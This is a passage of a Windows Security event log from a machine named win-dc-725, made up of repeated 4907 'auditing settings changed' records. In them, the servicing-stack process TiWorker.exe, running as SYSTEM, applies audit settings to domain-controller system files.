	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\mtedit.exe
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247644
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\lsadb.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247643
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ldifde.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247642
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\KdsSvc.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247641
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\kdcsvc.dll
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247640
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\kdcpw.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247639
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ismserv.exe
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247638
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ismip.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247637
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\gptedit.msc
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247636
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\GPRSoP.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247635
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\GPOAdminCustom.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247634
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\GPOAdminCommon.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247633
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\GPOAdmin.dll
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247632
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\gpmgmt.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247631
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\gpme.msc
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247630
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\gpme.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247629
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\gpmc.msc
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247628
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsrolesrv.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247627
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsamain.exe
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247626
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsutil.exe
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247625
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfssvc.exe
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247624
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsrs.exe
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247623
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsrress.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247622
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsrPropagationReport.xsl
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247621
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsrmig.exe
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247620
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\DfsrHelper.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247619
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsrHealthReport.xsl
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247618
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\DfsRes.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247617
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsrapi.dll
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247616
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsncimprov.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247615
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfsfrsHost.exe
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247614
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\DfsDiag.exe
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247613
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dfscmd.exe
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247612
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\DefaultDCCloneAllowList.XML
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
